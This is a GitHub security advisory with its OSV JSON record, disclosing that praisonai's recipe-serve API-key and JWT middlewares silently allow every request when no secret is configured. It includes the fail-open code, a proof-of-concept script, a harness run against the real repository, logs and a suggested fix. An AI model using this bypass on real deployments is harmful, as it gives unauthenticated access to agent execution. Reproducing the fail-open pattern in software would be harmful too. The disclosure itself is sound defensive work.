GHSA-J4HJ-7HFH-G2F4

Vulnerability from github – Published: 2026-06-18 13:56 – Updated: 2026-07-20 21:25
VLAI
Summary
praisonai: recipe serve auth middleware silently disables itself when no secret is set
Details

praisonai: recipe serve authentication middleware silently disables itself when no secret is set

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

Package: praisonai on PyPI Version tested: 4.6.48. File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).

TL;DR

praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:

async def dispatch(self, request, call_next):
    if request.url.path == "/health":
        return await call_next(request)
    expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
    if not expected_key:
        # No key configured, allow request
        return await call_next(request)
    ...

async def dispatch(self, request, call_next):
    if request.url.path == "/health":
        return await call_next(request)
    secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
    if not secret:
        return await call_next(request)
    ...

The realistic mis-deploy:

  1. operator sets auth: api-key (or auth: jwt) in their recipe YAML, expecting that line alone to enable auth,
  2. operator does not set the corresponding api_key: / jwt_secret: value in the same YAML, AND
  3. operator does not export PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET in the environment.

The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.

Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.

Root cause

   Expected behavior, after setting `auth: api-key` in the recipe YAML:
     "Now my recipe endpoints require an X-API-Key header."

   Actual behavior (serve.py:325-333):
     - middleware reads `expected_key = api_key or
       os.environ.get("PRAISONAI_API_KEY")`
     - if `expected_key` is None (neither YAML nor env supplied
       one), middleware logs nothing and forwards the request.
     - operator's recipe routes accept the request as if it were
       authenticated.  request.state.user is unset.

   Impact:
     The middleware's documented job is "validate the API key
     against the configured value".  The configured-value-is-None
     case is exactly the case the middleware should fail closed
     on — operator has signalled they want auth.  Failing open
     silently turns a documented authentication into a runtime
     no-op.

Empirical verification

poc/poc.py:

  1. Imports the installed praisonai 4.6.48 praisonai.recipe.serve module (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
  2. Clears PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env vars to simulate the mis-deploy.
  3. Calls serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None) and instantiates the returned middleware.
  4. Builds a Starlette Request for /runs (the recipe-execution path) with empty headers — no X-API-Key, no Authorization.
  5. await middleware.dispatch(request, fake_call_next) returns the sentinel 'REACHED-DOWNSTREAM (path=/runs)' from the fake call_next — proving the middleware passed the request through without authenticating.
  6. Repeats the test for auth_type='jwt' — same bypass on the JWT path.

Run log (poc/run-log.txt) summary:

[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env
    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env
    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
    APIKeyAuthMiddleware allowed the request through without an API key.
    JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333

VERDICT: VULNERABLE
EXIT 0

Impact

The recipe-serve surface runs agentic workflows — same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:

  • Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
  • Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
  • In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.

Anchors

  • praisonai/recipe/serve.py:325-333 — APIKeyAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:352-355 — JWTAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:688-694 — call site: python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), )

Suggested fix

When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:

def create_auth_middleware(auth_type, api_key=None, jwt_secret=None):
    if auth_type == 'api-key':
        expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
        if not expected_key:
            raise SystemExit(
                "auth_type='api-key' requested but no API key is "
                "configured.  Either set `api_key:` in your recipe "
                "YAML or export PRAISONAI_API_KEY.  Refusing to "
                "start with a silently disabled auth middleware."
            )
        ...
    elif auth_type == 'jwt':
        secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
        if not secret:
            raise SystemExit(
                "auth_type='jwt' requested but no JWT secret is "
                "configured.  Either set `jwt_secret:` in your recipe "
                "YAML or export PRAISONAI_JWT_SECRET.  Refusing to "
                "start with a silently disabled auth middleware."
            )
        ...

This is the same pattern the sibling praisonai.gateway server applies in assert_external_bind_safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonai 4.6.48 `praisonai recipe serve` configures
authentication via a `auth:` field in the recipe YAML.  Setting
`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app — and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.

In reality, both middlewares contain an early-return that silently
bypasses authentication when the corresponding secret has not been
configured (neither via the recipe YAML nor via the
PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
    print('=' * 72)
    print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')
    print('=' * 72)

    # Realistic deploy: operator sets `auth: api-key` in YAML but
    # forgets to set api_key / env var.
    for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):
        if env_var in os.environ:
            del os.environ[env_var]

    from praisonai.recipe import serve as serve_mod

    src = inspect.getsourcefile(serve_mod)
    with open(src, 'rb') as f:
        raw = f.read()
    sha = hashlib.sha256(raw).hexdigest()

    print()
    print(f'[1] serve.py path : {src}')
    print(f'    sha256        : {sha}')

    from starlette.requests import Request
    create_auth_middleware = serve_mod.create_auth_middleware

    async def fake_call_next(request):
        return f"REACHED-DOWNSTREAM (path={request.url.path})"

    async def driver(auth_type: str, headers=None):
        scope = {
            'type': 'http', 'method': 'GET', 'path': '/runs',
            'headers': headers or [], 'query_string': b'', 'scheme': 'http',
            'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',
        }
        request = Request(scope, receive=lambda: None)
        mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)
        if mw_cls is None:
            return 'middleware-import-failed'
        instance = mw_cls(app=None)
        return await instance.dispatch(request, fake_call_next)

    import asyncio

    print()
    print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env")
    result_apikey = asyncio.run(driver('api-key'))
    print(f"    middleware.dispatch -> {result_apikey!r}")

    print()
    print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env")
    result_jwt = asyncio.run(driver('jwt'))
    print(f"    middleware.dispatch -> {result_jwt!r}")

    vulnerable = False
    if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:
        vulnerable = True
        print('    APIKeyAuthMiddleware allowed the request through without an API key.')
    if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:
        vulnerable = True
        print('    JWTAuthMiddleware allowed the request through without a Bearer token.')

    # Static check that the bypass is on the code path.
    text = raw.decode('utf-8', errors='replace')
    needle_api = '# No key configured, allow request'
    apikey_line = next(
        (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),
        None,
    )
    print()
    print('[4] static cross-check — bypass branch on the code path')
    print(f"    grep '{needle_api}' -> line {apikey_line}")

    if not vulnerable:
        print('UNEXPECTED — the dispatch did not return the bypass result.')
        return 1

    print()
    print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')
    print('            both silently bypass auth when the operator sets auth_type')
    print('            but forgets the corresponding secret — unauthenticated access')
    print('            to recipe execution endpoints.')
    print('VERDICT: VULNERABLE')
    return 0

if __name__ == '__main__':
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI_API_KEY", None)   # operator forgot to export it too

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
def make_app(mw):
    app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])])
    app.add_middleware(mw); return TestClient(app)

# (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses
MW_bypass = serve.create_auth_middleware("api-key", api_key=None)        # REAL factory
r = make_app(MW_bypass).post("/run")
print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}")

# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401
MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret")
r2 = make_app(MW_enforced).post("/run")
print(f"[*] auth='api-key', key CONFIGURED, NO header  -> HTTP {r2.status_code} (correctly rejected)")

assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401
print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header  -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.48"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:56:55Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Version tested:** 4.6.48.\n**File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n\n---\n\n## TL;DR\n\n`praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same \"fail open when the secret is unset\" branch at the top of their `dispatch`:\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n    if not expected_key:\n        # No key configured, allow request\n        return await call_next(request)\n    ...\n```\n\n```python\nasync def dispatch(self, request, call_next):\n    if request.url.path == \"/health\":\n        return await call_next(request)\n    secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n    if not secret:\n        return await call_next(request)\n    ...\n```\n\nThe realistic mis-deploy:\n\n1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth,\n2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND\n3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment.\n\nThe middleware silently treats every request as authenticated and forwards it to the recipe-execution route.\n\nCombined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to \"I have to set `auth: api-key` to lock this down\" still don\u0027t get auth on the recipe-serve surface unless they also remember the secret.\n\n## Root cause\n\n```\n   Expected behavior, after setting `auth: api-key` in the recipe YAML:\n     \"Now my recipe endpoints require an X-API-Key header.\"\n\n   Actual behavior (serve.py:325-333):\n     - middleware reads `expected_key = api_key or\n       os.environ.get(\"PRAISONAI_API_KEY\")`\n     - if `expected_key` is None (neither YAML nor env supplied\n       one), middleware logs nothing and forwards the request.\n     - operator\u0027s recipe routes accept the request as if it were\n       authenticated.  request.state.user is unset.\n\n   Impact:\n     The middleware\u0027s documented job is \"validate the API key\n     against the configured value\".  The configured-value-is-None\n     case is exactly the case the middleware should fail closed\n     on \u2014 operator has signalled they want auth.  Failing open\n     silently turns a documented authentication into a runtime\n     no-op.\n```\n\n## Empirical verification\n\n`poc/poc.py`:\n\n1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`).\n2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy.\n3. Calls `serve.create_auth_middleware(\u0027api-key\u0027, api_key=None, jwt_secret=None)` and instantiates the returned middleware.\n4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers \u2014 no `X-API-Key`, no `Authorization`.\n5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `\u0027REACHED-DOWNSTREAM (path=/runs)\u0027` from the fake `call_next` \u2014 proving the middleware passed the request through without authenticating.\n6. Repeats the test for `auth_type=\u0027jwt\u0027` \u2014 same bypass on the JWT path.\n\nRun log (`poc/run-log.txt`) summary:\n\n```\n[2] auth_type=\u0027api-key\u0027, no api_key / no PRAISONAI_API_KEY env\n    middleware.dispatch -\u003e \u0027REACHED-DOWNSTREAM (path=/runs)\u0027\n[3] auth_type=\u0027jwt\u0027, no jwt_secret / no PRAISONAI_JWT_SECRET env\n    middleware.dispatch -\u003e \u0027REACHED-DOWNSTREAM (path=/runs)\u0027\n    APIKeyAuthMiddleware allowed the request through without an API key.\n    JWTAuthMiddleware allowed the request through without a Bearer token.\n[4] grep \u0027# No key configured, allow request\u0027 -\u003e line 333\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Impact\n\nThe recipe-serve surface runs agentic workflows \u2014 same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields:\n\n- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.\n- Read the inputs / outputs of in-flight recipes \u2014 the operator\u0027s prompts and the LLM responses.\n- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.\n\n\n## Anchors\n\n- `praisonai/recipe/serve.py:325-333` \u2014 `APIKeyAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:352-355` \u2014 `JWTAuthMiddleware.dispatch` silent-bypass branch.\n- `praisonai/recipe/serve.py:688-694` \u2014 call site:\n  ```python\n  auth_type = config.get(\"auth\")\n  if auth_type and auth_type != \"none\":\n      auth_middleware = create_auth_middleware(\n          auth_type,\n          api_key=config.get(\"api_key\"),\n          jwt_secret=config.get(\"jwt_secret\"),\n      )\n  ```\n\n## Suggested fix\n\nWhen the operator has signalled \"I want auth\", refuse to start without the corresponding secret rather than silently degrading:\n\n```python\ndef create_auth_middleware(auth_type, api_key=None, jwt_secret=None):\n    if auth_type == \u0027api-key\u0027:\n        expected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n        if not expected_key:\n            raise SystemExit(\n                \"auth_type=\u0027api-key\u0027 requested but no API key is \"\n                \"configured.  Either set `api_key:` in your recipe \"\n                \"YAML or export PRAISONAI_API_KEY.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n    elif auth_type == \u0027jwt\u0027:\n        secret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\n        if not secret:\n            raise SystemExit(\n                \"auth_type=\u0027jwt\u0027 requested but no JWT secret is \"\n                \"configured.  Either set `jwt_secret:` in your recipe \"\n                \"YAML or export PRAISONAI_JWT_SECRET.  Refusing to \"\n                \"start with a silently disabled auth middleware.\"\n            )\n        ...\n```\n\nThis is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` \u2014 refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai 4.6.48 `praisonai recipe serve` configures\nauthentication via a `auth:` field in the recipe YAML.  Setting\n`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or\nJWTAuthMiddleware on the FastAPI app \u2014 and the operator\u0027s expectation\nis that those endpoints now require a valid API key / Bearer JWT.\n\nIn reality, both middlewares contain an early-return that silently\nbypasses authentication when the corresponding secret has not been\nconfigured (neither via the recipe YAML nor via the\nPRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n    print(\u0027=\u0027 * 72)\n    print(\u0027praisonai 4.6.48 \u2014 recipe serve auth middleware silent bypass\u0027)\n    print(\u0027=\u0027 * 72)\n\n    # Realistic deploy: operator sets `auth: api-key` in YAML but\n    # forgets to set api_key / env var.\n    for env_var in (\u0027PRAISONAI_API_KEY\u0027, \u0027PRAISONAI_JWT_SECRET\u0027):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    from praisonai.recipe import serve as serve_mod\n\n    src = inspect.getsourcefile(serve_mod)\n    with open(src, \u0027rb\u0027) as f:\n        raw = f.read()\n    sha = hashlib.sha256(raw).hexdigest()\n\n    print()\n    print(f\u0027[1] serve.py path : {src}\u0027)\n    print(f\u0027    sha256        : {sha}\u0027)\n\n    from starlette.requests import Request\n    create_auth_middleware = serve_mod.create_auth_middleware\n\n    async def fake_call_next(request):\n        return f\"REACHED-DOWNSTREAM (path={request.url.path})\"\n\n    async def driver(auth_type: str, headers=None):\n        scope = {\n            \u0027type\u0027: \u0027http\u0027, \u0027method\u0027: \u0027GET\u0027, \u0027path\u0027: \u0027/runs\u0027,\n            \u0027headers\u0027: headers or [], \u0027query_string\u0027: b\u0027\u0027, \u0027scheme\u0027: \u0027http\u0027,\n            \u0027server\u0027: (\u0027127.0.0.1\u0027, 8000), \u0027app\u0027: None, \u0027root_path\u0027: \u0027\u0027,\n        }\n        request = Request(scope, receive=lambda: None)\n        mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)\n        if mw_cls is None:\n            return \u0027middleware-import-failed\u0027\n        instance = mw_cls(app=None)\n        return await instance.dispatch(request, fake_call_next)\n\n    import asyncio\n\n    print()\n    print(\"[2] auth_type=\u0027api-key\u0027, no api_key / no PRAISONAI_API_KEY env\")\n    result_apikey = asyncio.run(driver(\u0027api-key\u0027))\n    print(f\"    middleware.dispatch -\u003e {result_apikey!r}\")\n\n    print()\n    print(\"[3] auth_type=\u0027jwt\u0027, no jwt_secret / no PRAISONAI_JWT_SECRET env\")\n    result_jwt = asyncio.run(driver(\u0027jwt\u0027))\n    print(f\"    middleware.dispatch -\u003e {result_jwt!r}\")\n\n    vulnerable = False\n    if isinstance(result_apikey, str) and \u0027REACHED-DOWNSTREAM\u0027 in result_apikey:\n        vulnerable = True\n        print(\u0027    APIKeyAuthMiddleware allowed the request through without an API key.\u0027)\n    if isinstance(result_jwt, str) and \u0027REACHED-DOWNSTREAM\u0027 in result_jwt:\n        vulnerable = True\n        print(\u0027    JWTAuthMiddleware allowed the request through without a Bearer token.\u0027)\n\n    # Static check that the bypass is on the code path.\n    text = raw.decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n    needle_api = \u0027# No key configured, allow request\u0027\n    apikey_line = next(\n        (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),\n        None,\n    )\n    print()\n    print(\u0027[4] static cross-check \u2014 bypass branch on the code path\u0027)\n    print(f\"    grep \u0027{needle_api}\u0027 -\u003e line {apikey_line}\")\n\n    if not vulnerable:\n        print(\u0027UNEXPECTED \u2014 the dispatch did not return the bypass result.\u0027)\n        return 1\n\n    print()\n    print(\u0027VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes\u0027)\n    print(\u0027            both silently bypass auth when the operator sets auth_type\u0027)\n    print(\u0027            but forgets the corresponding secret \u2014 unauthenticated access\u0027)\n    print(\u0027            to recipe execution endpoints.\u0027)\n    print(\u0027VERDICT: VULNERABLE\u0027)\n    return 0\n\nif __name__ == \u0027__main__\u0027:\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.recipe\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nspec=importlib.util.spec_from_file_location(\"praisonai.recipe.serve\", BK+\"/praisonai/recipe/serve.py\")\nserve=importlib.util.module_from_spec(spec); serve.__package__=\"praisonai.recipe\"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)\nprint(\"[*] Loaded REAL praisonai recipe/serve.py\")\nos.environ.pop(\"PRAISONAI_API_KEY\", None)   # operator forgot to export it too\n\nfrom starlette.applications import Starlette\nfrom starlette.routing import Route\nfrom starlette.responses import PlainTextResponse\nfrom starlette.testclient import TestClient\ndef make_app(mw):\n    app=Starlette(routes=[Route(\"/run\", lambda r: PlainTextResponse(\"AGENT EXECUTED\"), methods=[\"POST\"])])\n    app.add_middleware(mw); return TestClient(app)\n\n# (A) operator set `auth: api-key` but forgot api_key + env -\u003e REAL factory returns middleware that SILENTLY bypasses\nMW_bypass = serve.create_auth_middleware(\"api-key\", api_key=None)        # REAL factory\nr = make_app(MW_bypass).post(\"/run\")\nprint(f\"[+] auth=\u0027api-key\u0027, NO key configured, NO header -\u003e HTTP {r.status_code} body={r.text!r}\")\n\n# (B) control: same middleware WITH a key configured -\u003e unauthenticated request is correctly 401\nMW_enforced = serve.create_auth_middleware(\"api-key\", api_key=\"real-secret\")\nr2 = make_app(MW_enforced).post(\"/run\")\nprint(f\"[*] auth=\u0027api-key\u0027, key CONFIGURED, NO header  -\u003e HTTP {r2.status_code} (correctly rejected)\")\n\nassert r.status_code==200 and \"AGENT EXECUTED\" in r.text and r2.status_code==401\nprint(\"[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] Loaded REAL praisonai recipe/serve.py\n[+] auth=\u0027api-key\u0027, NO key configured, NO header -\u003e HTTP 200 body=\u0027AGENT EXECUTED\u0027\n[*] auth=\u0027api-key\u0027, key CONFIGURED, NO header  -\u003e HTTP 401 (correctly rejected)\n[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-j4hj-7hfh-g2f4",
  "modified": "2026-07-20T21:25:31Z",
  "published": "2026-06-18T13:56:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j4hj-7hfh-g2f4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai: recipe serve auth middleware silently disables itself when no secret is set"
}



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